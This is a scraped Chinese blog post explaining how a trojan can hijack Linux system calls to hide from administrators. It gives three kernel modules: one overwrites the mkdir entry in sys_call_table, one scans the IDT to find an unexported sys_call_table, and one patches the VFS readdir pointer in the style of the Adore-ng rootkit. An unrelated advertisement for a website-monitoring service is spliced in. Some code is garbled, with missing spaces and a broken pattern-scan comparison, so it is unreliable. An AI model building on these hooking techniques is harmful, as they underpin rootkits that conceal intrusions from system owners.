天天看点

如何查看准备劫持的系统调用号

如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况

下,通过修改系统调用表来实现系统调用的劫持。

下面是一个典型的截获系统调用的模块:

IIS7网站监控可以及时防控网站风险,快速准确监控网站是否遭到各种劫持攻击,网站在全国是否能正常打开(查看域名是否被墙),精准的DNS污染检测,具备网站打开速度检测功能,第一时间知道网站是否被黑、被入侵、被改标题、被挂黑链。精益求精的产品,缺陷为零数据提供!

它可以做到以下功能:

1、检测网站是否被黑

2、检测网站是否被劫持

3、检测域名是否被墙

4、检测DNS是否被污染

5、网站真实的完全打开时间(独家)

6、拥有独立监控后台,24小时定时监控域名

官方图:

如何查看准备劫持的系统调用号
如何查看准备劫持的系统调用号

官方地址:http://wzjk.iis7.net/?dx

模块一:

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

MODULE_LICENSE(“GPL”);

extern void* sys_call_table[];

int (*orig_mkdir)(const char *path);

int hacked_mkdir(const char *path)

{

return0;
           

}

int init_module(void)

{

orig_mkdir=sys_call_table[SYS_mkdir];

        sys_call_table[SYS_mkdir]=hacked_mkdir;

        return0;
           

}

void cleanup_module(void)

{

sys_call_table[SYS_mkdir]=orig_mkdir;
           

}

用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在

2.6内核和有些2.4内核的系统(比如redhat as3)中,sys_call_table不再导出。也就是

说模块中不能再通过简单的extern void*sys_call_table[];来获得系统调用表地址。

所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实

现方法:

模块二:(2.4和2.6内核测试通过)

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/init.h>

#include <linux/sched.h>

#include <asm/unistd.h>

MODULE_LICENSE(“GPL”);

MODULE_AUTHOR(“[email protected]”);

MODULE_DESCRIPTION("Different from others, this module

automaticallylocate the entry of sys_call_table !");
           

unsigned long *sys_call_table=NULL;

asmlinkage int (*orig_mkdir)(const char *,int);

struct _idt

{

unsigned shortoffset_low,segment_sel;

unsigned charreserved,flags;

unsigned shortoffset_high;
           

};

unsigned long *getscTable(){

unsigned charidtr[6],*shell,*sort;

        struct _idt*idt;

        unsigned longsystem_call,sct;

        unsignedshort offset_low,offset_high;

        char*p;

        int i;

        __asm__("sidt%0" : "=m" (idtr));



        idt=(struct_idt*)(*(unsigned long*)&idtr[2]+8*0x80);

        offset_low =idt->offset_low;

        offset_high =idt->offset_high;

        system_call=(offset_high<<16)|offset_low;

        shell=(char*)system_call;

        sort="\xff\x14\x85";

        for(i=0;i<(100-2);i++)

                if(shell==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])

                            break;

        p=&shell;

        p+=3;

        sct=*(unsignedlong*)p;



        return(unsigned long*)(sct);
           

}

asmlinkage int hacked_mkdir(const char * pathname, int mode){

printk("PID%d called sys_mkdir !\n",current->pid);

        returnorig_mkdir(pathname,mode);
           

}

static int __init find_init(void){

sys_call_table= getscTable();

        orig_mkdir=(int(*)(constchar*,int))sys_call_table[__NR_mkdir];

        sys_call_table[__NR_mkdir]=(unsignedlong)hacked_mkdir;

        return0;
           

}

static void __exit find_cleanup(void){

sys_call_table[__NR_mkdir]=(unsignedlong)orig_mkdir;
           

}

module_init(find_init);

module_exit(find_cleanup);

getscTable()是在内存中查找sys_call_table地址的函数。

每一个系统调用都是通过int0x80中断进入核心,中断描述符表把中断服务程序和中断向量

对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函

数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中

断描述符表的起始地址,用__asm__ (“sidt %0” : “=m”(idtr));指令得到中断描述符表起

始地址,从这条指令中得到的指针可以获得int0x80中断服描述符所在位置,然后计算出

system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内,是

用callsys_call_table指令来调用系统调用函数的。因此,只要找到system_call里的call

sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。

对于截获文件系统相关的系统调用,Adore-ngrootkit提供了一种新的方法。简单的说,就

是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。

下面是它的实现方法:

模块三:(2.4和2.6内核测试通过)

#include <linux/sched.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/init.h>

#include <linux/fs.h>

#include <linux/file.h>

MODULE_AUTHOR(“[email protected]”);

MODULE_DESCRIPTION("By utilizing the VFS filesystem, this modulecan capture

system calls.");

MODULE_LICENSE(“GPL”);

char *root_fs="/";

typedef int (*readdir_t)(struct file *,void *,filldir_t);

readdir_t orig_root_readdir=NULL;

int myreaddir(struct file *fp,void *buf,filldir_t filldir)

{

int r;

        printk("<1>Yougot me partner!\n");

        r=orig_root_readdir(fp,buf,filldir);

        returnr;
           

}

int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_tnew_readdir)

{

struct file*filep;

        filep=filp_open(p,O_RDONLY,0);

        if(IS_ERR(filep))

                return-1;

        if(orig_readdir)

                *orig_readdir=filep->f_op->readdir;



        filep->f_op->readdir=new_readdir;

        filp_close(filep,0);

        return0;
           

}

int unpatch_vfs(const char *p,readdir_t orig_readdir)

{

struct file*filep;

        filep=filp_open(p,O_RDONLY,0);

        if(IS_ERR(filep))

                return-1;

        filep->f_op->readdir=orig_readdir;

        filp_close(filep,0);

        return0;
           

}

static int patch_init(void)

{

patch_vfs(root_fs,&orig_root_readdir,myreaddir);

        printk("<1>VFSis patched!\n");

        return0;
           

}

static void patch_cleanup(void)

{

unpatch_vfs(root_fs,orig_root_readdir);

        printk("<1>VFSis unpatched!\n");
           

}

module_init(patch_init);

module_exit(patch_cleanup);

继续阅读